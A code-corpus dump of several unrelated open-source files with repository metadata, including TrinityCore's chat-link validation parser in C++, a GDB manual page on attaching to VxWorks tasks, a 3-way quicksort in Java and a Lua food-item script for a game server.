<script src="scripts/jquery.localScroll.js"></script>
<script src="scripts/bootstrap-dropdown.js"></script>
<script src="scripts/toc.js"></script>
<script> Sunlight.highlightAll({lineNumbers:true, showMenu: true, enableDoclinks :true}); </script>
<script>
$( function () {
$( "#toc" ).toc( {
anchorName : function(i, heading, prefix) {
return $(heading).attr("id") || ( prefix + i );
},
selectors : "h1,h2,h3,h4",
showAndHide : false,
scrollTo : 60
} );
$( "#toc>ul" ).addClass( "nav nav-pills nav-stacked" );
$( "#main span[id^='toc']" ).addClass( "toc-shim" );
} );
</script>
</body>
</html> | imaginabit/memory | src/bower_components/phaser-official/docs/Phaser.TileSprite.html | HTML | gpl-2.0 | 68,994 |
/*
* Copyright (C) 2008-2016 TrinityCore <http://www.trinitycore.org/>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "ChatLink.h"
#include "SpellMgr.h"
#include "ObjectMgr.h"
#include "SpellInfo.h"
#include "DBCStores.h"
#include "AchievementMgr.h"
// Supported shift-links (client generated and server side)
// |color|Hachievement:achievement_id:player_guid:0:0:0:0:0:0:0:0|h[name]|h|r
// - client, item icon shift click, not used in server currently
// |color|Harea:area_id|h[name]|h|r
// |color|Hcreature:creature_guid|h[name]|h|r
// |color|Hcreature_entry:creature_id|h[name]|h|r
// |color|Henchant:recipe_spell_id|h[prof_name: recipe_name]|h|r - client, at shift click in recipes list dialog
// |color|Hgameevent:id|h[name]|h|r
// |color|Hgameobject:go_guid|h[name]|h|r
// |color|Hgameobject_entry:go_id|h[name]|h|r
// |color|Hglyph:glyph_slot_id:glyph_prop_id|h[%s]|h|r - client, at shift click in glyphs dialog, GlyphSlot.dbc, GlyphProperties.dbc
// |color|Hitem:item_id:perm_ench_id:gem1:gem2:gem3:0:0:0:0:reporter_level|h[name]|h|r
// - client, item icon shift click
// |color|Hitemset:itemset_id|h[name]|h|r
// |color|Hplayer:name|h[name]|h|r - client, in some messages, at click copy only name instead link
// |color|Hquest:quest_id:quest_level|h[name]|h|r - client, quest list name shift-click
// |color|Hskill:skill_id|h[name]|h|r
// |color|Hspell:spell_id|h[name]|h|r - client, spellbook spell icon shift-click
// |color|Htalent:talent_id, rank|h[name]|h|r - client, talent icon shift-click
// |color|Htaxinode:id|h[name]|h|r
// |color|Htele:id|h[name]|h|r
// |color|Htitle:id|h[name]|h|r
// |color|Htrade:spell_id:cur_value:max_value:unk3int:unk3str|h[name]|h|r - client, spellbook profession icon shift-click
inline bool ReadUInt32(std::istringstream& iss, uint32& res)
{
iss >> std::dec >> res;
return !iss.fail() && !iss.eof();
}
inline bool ReadInt32(std::istringstream& iss, int32& res)
{
iss >> std::dec >> res;
return !iss.fail() && !iss.eof();
}
inline std::string ReadSkip(std::istringstream& iss, char term)
{
std::string res;
char c = iss.peek();
while (c != term && c != '\0')
{
res += c;
iss.ignore(1);
c = iss.peek();
}
return res;
}
inline bool CheckDelimiter(std::istringstream& iss, char delimiter, char const* context)
{
char c = iss.peek();
if (c != delimiter)
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): invalid %s link structure ('%c' expected, '%c' found)", iss.str().c_str(), context, delimiter, c);
return false;
}
iss.ignore(1);
return true;
}
inline bool ReadHex(std::istringstream& iss, uint32& res, uint32 length)
{
std::istringstream::pos_type pos = iss.tellg();
iss >> std::hex >> res;
//uint32 size = uint32(iss.gcount());
if (length && uint32(iss.tellg() - pos) != length)
return false;
return !iss.fail() && !iss.eof();
}
#define DELIMITER ':'
#define PIPE_CHAR '|'
bool ChatLink::ValidateName(char* buffer, char const* /*context*/)
{
_name = buffer;
return true;
}
// |color|Hitem:item_id:perm_ench_id:gem1:gem2:gem3:0:random_property:0:reporter_level|h[name]|h|r
// |cffa335ee|Hitem:812:0:0:0:0:0:0:0:70|h[Glowing Brightwood Staff]|h|r
bool ItemChatLink::Initialize(std::istringstream& iss)
{
// Read item entry
uint32 itemEntry = 0;
if (!ReadUInt32(iss, itemEntry))
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): sequence finished unexpectedly while reading item entry", iss.str().c_str());
return false;
}
// Validate item
_item = sObjectMgr->GetItemTemplate(itemEntry);
if (!_item)
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): got invalid itemEntry %u in |item command", iss.str().c_str(), itemEntry);
return false;
}
// Validate item's color
if (_color != ItemQualityColors[_item->Quality])
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): linked item has color %u, but user claims %u", iss.str().c_str(), ItemQualityColors[_item->Quality], _color);
return false;
}
// Number of various item properties after item entry
const uint8 propsCount = 8;
const uint8 randomPropertyPosition = 5;
for (uint8 index = 0; index < propsCount; ++index)
{
if (!CheckDelimiter(iss, DELIMITER, "item"))
return false;
int32 id = 0;
if (!ReadInt32(iss, id))
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): sequence finished unexpectedly while reading item property (%u)", iss.str().c_str(), index);
return false;
}
if (id && (index == randomPropertyPosition))
{
// Validate random property
if (id > 0)
{
_property = sItemRandomPropertiesStore.LookupEntry(id);
if (!_property)
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): got invalid item property id %u in |item command", iss.str().c_str(), id);
return false;
}
}
else if (id < 0)
{
_suffix = sItemRandomSuffixStore.LookupEntry(-id);
if (!_suffix)
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): got invalid item suffix id %u in |item command", iss.str().c_str(), -id);
return false;
}
}
}
_data[index] = id;
}
return true;
}
inline std::string ItemChatLink::FormatName(uint8 index, ItemLocale const* locale, char* const* suffixStrings) const
{
std::stringstream ss;
if (locale == nullptr || index >= locale->Name.size())
ss << _item->Name1;
else
ss << locale->Name[index];
if (suffixStrings)
ss << ' ' << suffixStrings[index];
return ss.str();
}
bool ItemChatLink::ValidateName(char* buffer, char const* context)
{
ChatLink::ValidateName(buffer, context);
char* const* suffixStrings = _suffix ? _suffix->nameSuffix : (_property ? _property->nameSuffix : nullptr);
bool res = (FormatName(LOCALE_enUS, nullptr, suffixStrings) == buffer);
if (!res)
{
ItemLocale const* il = sObjectMgr->GetItemLocale(_item->ItemId);
for (uint8 index = LOCALE_koKR; index < TOTAL_LOCALES; ++index)
{
if (FormatName(index, il, suffixStrings) == buffer)
{
res = true;
break;
}
}
}
if (!res)
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): linked item (id: %u) name wasn't found in any localization", context, _item->ItemId);
return res;
}
// |color|Hquest:quest_id:quest_level|h[name]|h|r
// |cff808080|Hquest:2278:47|h[The Platinum Discs]|h|r
bool QuestChatLink::Initialize(std::istringstream& iss)
{
// Read quest id
uint32 questId = 0;
if (!ReadUInt32(iss, questId))
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): sequence finished unexpectedly while reading quest entry", iss.str().c_str());
return false;
}
// Validate quest
_quest = sObjectMgr->GetQuestTemplate(questId);
if (!_quest)
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): quest template %u not found", iss.str().c_str(), questId);
return false;
}
// Check delimiter
if (!CheckDelimiter(iss, DELIMITER, "quest"))
return false;
// Read quest level
if (!ReadInt32(iss, _questLevel))
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): sequence finished unexpectedly while reading quest level", iss.str().c_str());
return false;
}
// Validate quest level
if (_questLevel >= STRONG_MAX_LEVEL)
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): quest level %d is too big", iss.str().c_str(), _questLevel);
return false;
}
return true;
}
bool QuestChatLink::ValidateName(char* buffer, char const* context)
{
ChatLink::ValidateName(buffer, context);
bool res = (_quest->GetTitle() == buffer);
if (!res)
if (QuestLocale const* ql = sObjectMgr->GetQuestLocale(_quest->GetQuestId()))
for (uint8 i = 0; i < ql->Title.size(); i++)
if (ql->Title[i] == buffer)
{
res = true;
break;
}
if (!res)
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): linked quest (id: %u) title wasn't found in any localization", context, _quest->GetQuestId());
return res;
}
// |color|Hspell:spell_id|h[name]|h|r
// |cff71d5ff|Hspell:21563|h[Command]|h|r
bool SpellChatLink::Initialize(std::istringstream& iss)
{
if (_color != CHAT_LINK_COLOR_SPELL)
return false;
// Read spell id
uint32 spellId = 0;
if (!ReadUInt32(iss, spellId))
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): sequence finished unexpectedly while reading spell entry", iss.str().c_str());
return false;
}
// Validate spell
_spell = sSpellMgr->GetSpellInfo(spellId);
if (!_spell)
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): got invalid spell id %u in |spell command", iss.str().c_str(), spellId);
return false;
}
return true;
}
bool SpellChatLink::ValidateName(char* buffer, char const* context)
{
ChatLink::ValidateName(buffer, context);
// spells with that flag have a prefix of "$PROFESSION: "
if (_spell->HasAttribute(SPELL_ATTR0_TRADESPELL))
{
SkillLineAbilityMapBounds bounds = sSpellMgr->GetSkillLineAbilityMapBounds(_spell->Id);
if (bounds.first == bounds.second)
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): skill line not found for spell %u", context, _spell->Id);
return false;
}
SkillLineAbilityEntry const* skillInfo = bounds.first->second;
if (!skillInfo)
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): skill line ability not found for spell %u", context, _spell->Id);
return false;
}
SkillLineEntry const* skillLine = sSkillLineStore.LookupEntry(skillInfo->skillId);
if (!skillLine)
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): skill line not found for skill %u", context, skillInfo->skillId);
return false;
}
for (uint8 i = 0; i < TOTAL_LOCALES; ++i)
{
uint32 skillLineNameLength = strlen(skillLine->name[i]);
if (skillLineNameLength > 0 && strncmp(skillLine->name[i], buffer, skillLineNameLength) == 0)
{
// found the prefix, remove it to perform spellname validation below
// -2 = strlen(": ")
uint32 spellNameLength = strlen(buffer) - skillLineNameLength - 2;
memmove(buffer, buffer + skillLineNameLength + 2, spellNameLength + 1);
break;
}
}
}
for (uint8 i = 0; i < TOTAL_LOCALES; ++i)
if (*_spell->SpellName[i] && strcmp(_spell->SpellName[i], buffer) == 0)
return true;
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): linked spell (id: %u) name wasn't found in any localization", context, _spell->Id);
return false;
}
// |color|Hachievement:achievement_id:player_guid:0:0:0:0:0:0:0:0|h[name]|h|r
// |cffffff00|Hachievement:546:0000000000000001:0:0:0:-1:0:0:0:0|h[Safe Deposit]|h|r
bool AchievementChatLink::Initialize(std::istringstream& iss)
{
if (_color != CHAT_LINK_COLOR_ACHIEVEMENT)
return false;
// Read achievemnt Id
uint32 achievementId = 0;
if (!ReadUInt32(iss, achievementId))
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): sequence finished unexpectedly while reading achievement entry", iss.str().c_str());
return false;
}
// Validate achievement
_achievement = sAchievementMgr->GetAchievement(achievementId);
if (!_achievement)
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): got invalid achivement id %u in |achievement command", iss.str().c_str(), achievementId);
return false;
}
// Check delimiter
if (!CheckDelimiter(iss, DELIMITER, "achievement"))
return false;
// Read HEX
if (!ReadHex(iss, _guid, 0))
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): invalid hexadecimal number while reading char's guid", iss.str().c_str());
return false;
}
// Skip progress
const uint8 propsCount = 8;
for (uint8 index = 0; index < propsCount; ++index)
{
if (!CheckDelimiter(iss, DELIMITER, "achievement"))
return false;
if (!ReadUInt32(iss, _data[index]))
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): sequence finished unexpectedly while reading achievement property (%u)", iss.str().c_str(), index);
return false;
}
}
return true;
}
bool AchievementChatLink::ValidateName(char* buffer, char const* context)
{
ChatLink::ValidateName(buffer, context);
for (uint8 i = 0; i < TOTAL_LOCALES; ++i)
if (*_achievement->Title[i] && strcmp(_achievement->Title[i], buffer) == 0)
return true;
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): linked achievement (id: %u) name wasn't found in any localization", context, _achievement->ID);
return false;
}
// |color|Htrade:spell_id:cur_value:max_value:player_guid:base64_data|h[name]|h|r
// |cffffd000|Htrade:4037:1:150:1:6AAAAAAAAAAAAAAAAAAAAAAOAADAAAAAAAAAAAAAAAAIAAAAAAAAA|h[Engineering]|h|r
bool TradeChatLink::Initialize(std::istringstream& iss)
{
if (_color != CHAT_LINK_COLOR_TRADE)
return false;
// Spell Id
uint32 spellId = 0;
if (!ReadUInt32(iss, spellId))
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): sequence finished unexpectedly while reading achievement entry", iss.str().c_str());
return false;
}
// Validate spell
_spell = sSpellMgr->GetSpellInfo(spellId);
if (!_spell)
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): got invalid spell id %u in |trade command", iss.str().c_str(), spellId);
return false;
}
// Check delimiter
if (!CheckDelimiter(iss, DELIMITER, "trade"))
return false;
// Minimum talent level
if (!ReadInt32(iss, _minSkillLevel))
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): sequence finished unexpectedly while reading minimum talent level", iss.str().c_str());
return false;
}
// Check delimiter
if (!CheckDelimiter(iss, DELIMITER, "trade"))
return false;
// Maximum talent level
if (!ReadInt32(iss, _maxSkillLevel))
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): sequence finished unexpectedly while reading maximum talent level", iss.str().c_str());
return false;
}
// Check delimiter
if (!CheckDelimiter(iss, DELIMITER, "trade"))
return false;
// Something hexadecimal
if (!ReadHex(iss, _guid, 0))
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): sequence finished unexpectedly while reading achievement's owner guid", iss.str().c_str());
return false;
}
// Skip base64 encoded stuff
_base64 = ReadSkip(iss, PIPE_CHAR);
return true;
}
// |color|Htalent:talent_id:rank|h[name]|h|r
// |cff4e96f7|Htalent:2232:-1|h[Taste for Blood]|h|r
bool TalentChatLink::Initialize(std::istringstream& iss)
{
if (_color != CHAT_LINK_COLOR_TALENT)
return false;
// Read talent entry
if (!ReadUInt32(iss, _talentId))
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): sequence finished unexpectedly while reading talent entry", iss.str().c_str());
return false;
}
// Validate talent
TalentEntry const* talentInfo = sTalentStore.LookupEntry(_talentId);
if (!talentInfo)
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): got invalid talent id %u in |talent command", iss.str().c_str(), _talentId);
return false;
}
// Validate talent's spell
_spell = sSpellMgr->GetSpellInfo(talentInfo->RankID[0]);
if (!_spell)
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): got invalid spell id %u in |trade command", iss.str().c_str(), talentInfo->RankID[0]);
return false;
}
// Delimiter
if (!CheckDelimiter(iss, DELIMITER, "talent"))
return false;
// Rank
if (!ReadInt32(iss, _rankId))
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): sequence finished unexpectedly while reading talent rank", iss.str().c_str());
return false;
}
return true;
}
// |color|Henchant:recipe_spell_id|h[prof_name: recipe_name]|h|r
// |cffffd000|Henchant:3919|h[Engineering: Rough Dynamite]|h|r
bool EnchantmentChatLink::Initialize(std::istringstream& iss)
{
if (_color != CHAT_LINK_COLOR_ENCHANT)
return false;
// Spell Id
uint32 spellId = 0;
if (!ReadUInt32(iss, spellId))
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): sequence finished unexpectedly while reading enchantment spell entry", iss.str().c_str());
return false;
}
// Validate spell
_spell = sSpellMgr->GetSpellInfo(spellId);
if (!_spell)
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): got invalid spell id %u in |enchant command", iss.str().c_str(), spellId);
return false;
}
return true;
}
// |color|Hglyph:glyph_slot_id:glyph_prop_id|h[%s]|h|r
// |cff66bbff|Hglyph:21:762|h[Glyph of Bladestorm]|h|r
bool GlyphChatLink::Initialize(std::istringstream& iss)
{
if (_color != CHAT_LINK_COLOR_GLYPH)
return false;
// Slot
if (!ReadUInt32(iss, _slotId))
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): sequence finished unexpectedly while reading slot id", iss.str().c_str());
return false;
}
// Check delimiter
if (!CheckDelimiter(iss, DELIMITER, "glyph"))
return false;
// Glyph Id
uint32 glyphId = 0;
if (!ReadUInt32(iss, glyphId))
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): sequence finished unexpectedly while reading glyph entry", iss.str().c_str());
return false;
}
// Validate glyph
_glyph = sGlyphPropertiesStore.LookupEntry(glyphId);
if (!_glyph)
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): got invalid glyph id %u in |glyph command", iss.str().c_str(), glyphId);
return false;
}
// Validate glyph's spell
_spell = sSpellMgr->GetSpellInfo(_glyph->SpellId);
if (!_spell)
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): got invalid spell id %u in |glyph command", iss.str().c_str(), _glyph->SpellId);
return false;
}
return true;
}
LinkExtractor::LinkExtractor(char const* msg) : _iss(msg) { }
LinkExtractor::~LinkExtractor()
{
for (Links::iterator itr = _links.begin(); itr != _links.end(); ++itr)
delete *itr;
_links.clear();
}
bool LinkExtractor::IsValidMessage()
{
const char validSequence[6] = "cHhhr";
char const* validSequenceIterator = validSequence;
char buffer[256];
std::istringstream::pos_type startPos = 0;
uint32 color = 0;
ChatLink* link = nullptr;
while (!_iss.eof())
{
if (validSequence == validSequenceIterator)
{
link = nullptr;
_iss.ignore(255, PIPE_CHAR);
startPos = _iss.tellg() - std::istringstream::pos_type(1);
}
else if (_iss.get() != PIPE_CHAR)
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): sequence aborted unexpectedly", _iss.str().c_str());
return false;
}
// pipe has always to be followed by at least one char
if (_iss.peek() == '\0')
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): pipe followed by '\\0'", _iss.str().c_str());
return false;
}
// no further pipe commands
if (_iss.eof())
break;
char commandChar;
_iss >> commandChar;
// | in normal messages is escaped by ||
if (commandChar != PIPE_CHAR)
{
if (commandChar == *validSequenceIterator)
{
if (validSequenceIterator == validSequence+4)
validSequenceIterator = validSequence;
else
++validSequenceIterator;
}
else
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): invalid sequence, expected '%c' but got '%c'", _iss.str().c_str(), *validSequenceIterator, commandChar);
return false;
}
}
else if (validSequence != validSequenceIterator)
{
// no escaped pipes in sequences
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): got escaped pipe in sequence", _iss.str().c_str());
return false;
}
switch (commandChar)
{
case 'c':
if (!ReadHex(_iss, color, 8))
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): invalid hexadecimal number while reading color", _iss.str().c_str());
return false;
}
break;
case 'H':
// read chars up to colon = link type
_iss.getline(buffer, 256, DELIMITER);
if (_iss.eof())
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): sequence finished unexpectedly", _iss.str().c_str());
return false;
}
if (strcmp(buffer, "item") == 0)
link = new ItemChatLink();
else if (strcmp(buffer, "quest") == 0)
link = new QuestChatLink();
else if (strcmp(buffer, "trade") == 0)
link = new TradeChatLink();
else if (strcmp(buffer, "talent") == 0)
link = new TalentChatLink();
else if (strcmp(buffer, "spell") == 0)
link = new SpellChatLink();
else if (strcmp(buffer, "enchant") == 0)
link = new EnchantmentChatLink();
else if (strcmp(buffer, "achievement") == 0)
link = new AchievementChatLink();
else if (strcmp(buffer, "glyph") == 0)
link = new GlyphChatLink();
else
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): user sent unsupported link type '%s'", _iss.str().c_str(), buffer);
return false;
}
_links.push_back(link);
link->SetColor(color);
if (!link->Initialize(_iss))
return false;
break;
case 'h':
// if h is next element in sequence, this one must contain the linked text :)
if (*validSequenceIterator == 'h')
{
// links start with '['
if (_iss.get() != '[')
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): link caption doesn't start with '['", _iss.str().c_str());
return false;
}
_iss.getline(buffer, 256, ']');
if (_iss.eof())
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): sequence finished unexpectedly", _iss.str().c_str());
return false;
}
if (!link)
return false;
if (!link->ValidateName(buffer, _iss.str().c_str()))
return false;
}
break;
case 'r':
if (link)
link->SetBounds(startPos, _iss.tellg());
case '|':
// no further payload
break;
default:
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): got invalid command |%c", _iss.str().c_str(), commandChar);
return false;
}
}
// check if every opened sequence was also closed properly
if (validSequence != validSequenceIterator)
{
TC_LOG_TRACE("chat.system", "ChatHandler::isValidChatMessage('%s'): EOF in active sequence", _iss.str().c_str());
return false;
}
return true;
}
| RaelZero/TrinityCore | src/server/game/Chat/ChatLink.cpp | C++ | gpl-2.0 | 26,471 |
<html lang="en">
<head>
<title>VxWorks Attach - Debugging with GDB</title>
<meta http-equiv="Content-Type" content="text/html">
<meta name="description" content="Debugging with GDB">
<meta name="generator" content="makeinfo 4.13">
<link title="Top" rel="start" href="index.html#Top">
<link rel="up" href="VxWorks.html#VxWorks" title="VxWorks">
<link rel="prev" href="VxWorks-Download.html#VxWorks-Download" title="VxWorks Download">
<link href="http://www.gnu.org/software/texinfo/" rel="generator-home" title="Texinfo Homepage">
<!--
Copyright (C) 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996,
1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010
Free Software Foundation, Inc.
Permission is granted to copy, distribute and/or modify this document
under the terms of the GNU Free Documentation License, Version 1.3 or
any later version published by the Free Software Foundation; with the
Invariant Sections being ``Free Software'' and ``Free Software Needs
Free Documentation'', with the Front-Cover Texts being ``A GNU Manual,''
and with the Back-Cover Texts as in (a) below.
(a) The FSF's Back-Cover Text is: ``You are free to copy and modify
this GNU Manual. Buying copies from GNU Press supports the FSF in
developing GNU and promoting software freedom.''-->
<meta http-equiv="Content-Style-Type" content="text/css">
<style type="text/css"><!--
pre.display { font-family:inherit }
pre.format { font-family:inherit }
pre.smalldisplay { font-family:inherit; font-size:smaller }
pre.smallformat { font-family:inherit; font-size:smaller }
pre.smallexample { font-size:smaller }
pre.smalllisp { font-size:smaller }
span.sc { font-variant:small-caps }
span.roman { font-family:serif; font-weight:normal; }
span.sansserif { font-family:sans-serif; font-weight:normal; }
--></style>
<link rel="stylesheet" type="text/css" href="../cs.css">
</head>
<body>
<div class="node">
<a name="VxWorks-Attach"></a>
<p>
Previous: <a rel="previous" accesskey="p" href="VxWorks-Download.html#VxWorks-Download">VxWorks Download</a>,
Up: <a rel="up" accesskey="u" href="VxWorks.html#VxWorks">VxWorks</a>
<hr>
</div>
<h5 class="subsubsection">21.2.1.3 Running Tasks</h5>
<p><a name="index-running-VxWorks-tasks-1279"></a>You can also attach to an existing task using the <code>attach</code> command as
follows:
<pre class="smallexample"> (vxgdb) attach <var>task</var>
</pre>
<p class="noindent">where <var>task</var> is the VxWorks hexadecimal task ID. The task can be running
or suspended when you attach to it. Running tasks are suspended at
the time of attachment.
</body></html>
| byeonggonlee/lynx-ns-gb | toolchain/share/doc/arm-arm-none-eabi/html/gdb/VxWorks-Attach.html | HTML | gpl-2.0 | 2,654 |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
</HEAD>
<BODY>
<H1>My OpenOffice en-region3</H1>
</BODY>
</HTML>
| sbbic/core | desktop/test/deployment/update/publisher/publisher_en-region3.html | HTML | gpl-3.0 | 144 |
/******************************************************************************
* Compilation: javac Quick3way.java
* Execution: java Quick3way < input.txt
* Dependencies: StdOut.java StdIn.java
* Data files: http://algs4.cs.princeton.edu/23quicksort/tiny.txt
* http://algs4.cs.princeton.edu/23quicksort/words3.txt
*
* Sorts a sequence of strings from standard input using 3-way quicksort.
*
* % more tiny.txt
* S O R T E X A M P L E
*
* % java Quick3way < tiny.txt
* A E E L M O P R S T X [ one string per line ]
*
* % more words3.txt
* bed bug dad yes zoo ... all bad yet
*
* % java Quick3way < words3.txt
* all bad bed bug dad ... yes yet zoo [ one string per line ]
*
******************************************************************************/
package edu.princeton.cs.algs4;
/**
* The <tt>Quick3way</tt> class provides static methods for sorting an
* array using quicksort with 3-way partitioning.
* <p>
* For additional documentation, see <a href="http://algs4.cs.princeton.edu/21elementary">Section 2.1</a> of
* <i>Algorithms, 4th Edition</i> by Robert Sedgewick and Kevin Wayne.
*
* @author Robert Sedgewick
* @author Kevin Wayne
*/
public class Quick3way {
// This class should not be instantiated.
private Quick3way() { }
/**
* Rearranges the array in ascending order, using the natural order.
* @param a the array to be sorted
*/
public static void sort(Comparable[] a) {
StdRandom.shuffle(a);
sort(a, 0, a.length - 1);
assert isSorted(a);
}
// quicksort the subarray a[lo .. hi] using 3-way partitioning
private static void sort(Comparable[] a, int lo, int hi) {
if (hi <= lo) return;
int lt = lo, gt = hi;
Comparable v = a[lo];
int i = lo;
while (i <= gt) {
int cmp = a[i].compareTo(v);
if (cmp < 0) exch(a, lt++, i++);
else if (cmp > 0) exch(a, i, gt--);
else i++;
}
// a[lo..lt-1] < v = a[lt..gt] < a[gt+1..hi].
sort(a, lo, lt-1);
sort(a, gt+1, hi);
assert isSorted(a, lo, hi);
}
/***************************************************************************
* Helper sorting functions.
***************************************************************************/
// is v < w ?
private static boolean less(Comparable v, Comparable w) {
return v.compareTo(w) < 0;
}
// does v == w ?
private static boolean eq(Comparable v, Comparable w) {
return v.compareTo(w) == 0;
}
// exchange a[i] and a[j]
private static void exch(Object[] a, int i, int j) {
Object swap = a[i];
a[i] = a[j];
a[j] = swap;
}
/***************************************************************************
* Check if array is sorted - useful for debugging.
***************************************************************************/
private static boolean isSorted(Comparable[] a) {
return isSorted(a, 0, a.length - 1);
}
private static boolean isSorted(Comparable[] a, int lo, int hi) {
for (int i = lo + 1; i <= hi; i++)
if (less(a[i], a[i-1])) return false;
return true;
}
// print array to standard output
private static void show(Comparable[] a) {
for (int i = 0; i < a.length; i++) {
StdOut.println(a[i]);
}
}
/**
* Reads in a sequence of strings from standard input; 3-way
* quicksorts them; and prints them to standard output in ascending order.
*/
public static void main(String[] args) {
String[] a = StdIn.readAllStrings();
Quick3way.sort(a);
show(a);
}
}
/******************************************************************************
* Copyright 2002-2015, Robert Sedgewick and Kevin Wayne.
*
* This file is part of algs4.jar, which accompanies the textbook
*
* Algorithms, 4th edition by Robert Sedgewick and Kevin Wayne,
* Addison-Wesley Professional, 2011, ISBN 0-321-57351-X.
* http://algs4.cs.princeton.edu
*
*
* algs4.jar is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* algs4.jar is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with algs4.jar. If not, see http://www.gnu.org/licenses.
******************************************************************************/
| nkhuyu/algs4 | src/main/java/edu/princeton/cs/algs4/Quick3way.java | Java | gpl-3.0 | 4,962 |
-----------------------------------------
-- ID: 5233
-- Item: cube_of_cotton_tofu
-- Food Effect: 5Min, All Races
-----------------------------------------
-- Health % 10
-- Health Cap 30
-- Magic % 10
-- Magic Cap 30
-----------------------------------------
require("scripts/globals/status");
-----------------------------------------
-- OnItemCheck
-----------------------------------------
function onItemCheck(target)
local result = 0;
if (target:hasStatusEffect(EFFECT_FOOD) == true or target:hasStatusEffect(EFFECT_FIELD_SUPPORT_FOOD) == true) then
result = 246;
end
return result;
end;
-----------------------------------------
-- OnItemUse
-----------------------------------------
function onItemUse(target)
target:addStatusEffect(EFFECT_FOOD,0,0,300,5233);
end;
-----------------------------------------
-- onEffectGain Action
-----------------------------------------
function onEffectGain(target,effect)
target:addMod(MOD_FOOD_HPP, 10);
target:addMod(MOD_FOOD_HP_CAP, 30);
target:addMod(MOD_FOOD_MPP, 10);
target:addMod(MOD_FOOD_MP_CAP, 30);
end;
-----------------------------------------
-- onEffectLose Action
-----------------------------------------
function onEffectLose(target,effect)
target:delMod(MOD_FOOD_HPP, 10);
target:delMod(MOD_FOOD_HP_CAP, 30);
target:delMod(MOD_FOOD_MPP, 10);
target:delMod(MOD_FOOD_MP_CAP, 30);
end;
| UnknownX7/darkstar | scripts/globals/items/cube_of_cotton_tofu.lua | Lua | gpl-3.0 | 1,417 |
/*
* Copyright (c) 2003-2012 Apple Inc. All rights reserved.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
*
* This file contains Original Code and/or Modifications of Original Code
